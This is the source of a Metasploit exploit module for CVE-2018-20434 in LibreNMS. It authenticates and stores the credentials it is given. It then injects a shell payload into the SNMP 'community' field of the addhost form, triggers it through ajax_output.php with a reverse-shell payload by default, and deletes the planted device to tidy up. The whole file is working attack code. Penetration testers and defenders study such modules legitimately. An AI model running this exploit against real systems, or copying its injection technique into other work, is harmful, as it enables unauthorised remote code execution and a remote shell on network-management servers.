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## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'LibreNMS addhost Command Injection', 'Description'=> %q( This module exploits a command injection vulnerability in the open source network management software known as LibreNMS. The community parameter used in a POST request to the addhost functionality is unsanitized. This parameter is later used as part of a shell command that gets passed to the popen function in capture.inc.php, which can result in execution of arbitrary code. This module requires authentication to LibreNMS first. ), 'License'=> MSF_LICENSE, 'Author' => [ 'mhaskar', # Vulnerability discovery and PoC 'Shelby Pace'# Metasploit module ], 'References' => [ [ 'CVE', '2018-20434' ], [ 'URL', 'https://shells.systems/librenms-v1-46-remote-code-execution-cve-2018-20434/' ], [ 'URL', 'https://gist.github.com/mhaskar/516df57aafd8c6e3a1d70765075d372d' ] ], 'Arch' => ARCH_CMD, 'Targets'=> [ [ 'Linux', { 'Platform' => 'unix', 'DefaultOptions'=>{ 'Payload' =>'cmd/unix/reverse' } } ] ], 'DisclosureDate' => '2018-12-16', 'DefaultTarget'=> 0 )) register_options( [ OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]), OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]), OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ]) ]) end def login login_uri = normalize_uri(target_uri.path, 'login') res = send_request_cgi('method' =>'GET', 'uri'=>login_uri) fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200 cookies = res.get_cookies login_res = send_request_cgi( 'method'=>'POST', 'uri' =>login_uri, 'cookie'=>cookies, 'vars_post' => { 'username'=>datastore['USERNAME'], 'password'=>datastore['PASSWORD'] } ) fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302 cookies = login_res.get_cookies res = send_request_cgi('method' =>'GET', 'uri'=>normalize_uri(target_uri.path), 'cookie' =>cookies) fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices') print_status('Successfully logged into LibreNMS. Storing credentials...') store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD']) login_res.get_cookies end def add_device(cookies) add_uri = normalize_uri(target_uri.path, 'addhost') @hostname = Rex::Text.rand_text_alpha(6...12) comm_payload = "'; #{payload.encoded}#'" res = send_request_cgi( 'method'=>'POST', 'uri' =>add_uri, 'cookie'=>cookies, 'vars_post'=> { 'snmp'=>'on', 'force_add' =>'on', 'snmpver' =>'v2c', 'hostname'=>@hostname, 'community' =>comm_payload, 'authalgo'=>'MD5', 'cryptoalgo'=>'AES', 'transport' =>'udp', 'port_assoc_mode' =>'ifIndex' } ) fail_with(Failure::NotFound, 'Failed to add device') unless res && res.body.include?('Device added') print_good("Successfully added device with hostname #{@hostname}") host_id = res.get_html_document.search('div[@class="alert alert-success"]/a[@href]').text fail_with(Failure::NotFound, "Couldn't retrieve the id for the device") if host_id.empty? host_id = host_id.match(/(\d+)/).nil? ? nil : host_id.match(/(\d+)/) fail_with(Failure::NotFound, 'Failed to retrieve a valid device id') if host_id.nil? host_id end def del_device(id, cookies) del_uri = normalize_uri(target_uri.path, 'delhost') res = send_request_cgi( 'method'=>'POST', 'uri' =>del_uri, 'cookie'=>cookies, 'vars_post' => { 'id'=>id, 'confirm' =>1 } ) print_status('Unsure if device was deleted. No response received') unless res if res.body.include?("Removed device #{@hostname.downcase}") print_good("Successfully deleted device with hostname #{@hostname} and id ##{id}") else print_status('Failed to delete device. Manual deletion may be needed') end end def exploit exp_uri = normalize_uri(target_uri.path, 'ajax_output.php') cookies = login host_id = add_device(cookies) send_request_cgi( 'method'=>'GET', 'uri' =>exp_uri, 'cookie'=>cookies, 'vars_get'=> { 'id'=>'capture', 'format'=>'text', 'type'=>'snmpwalk', 'hostname'=>@hostname } ) del_device(host_id, cookies) end end |
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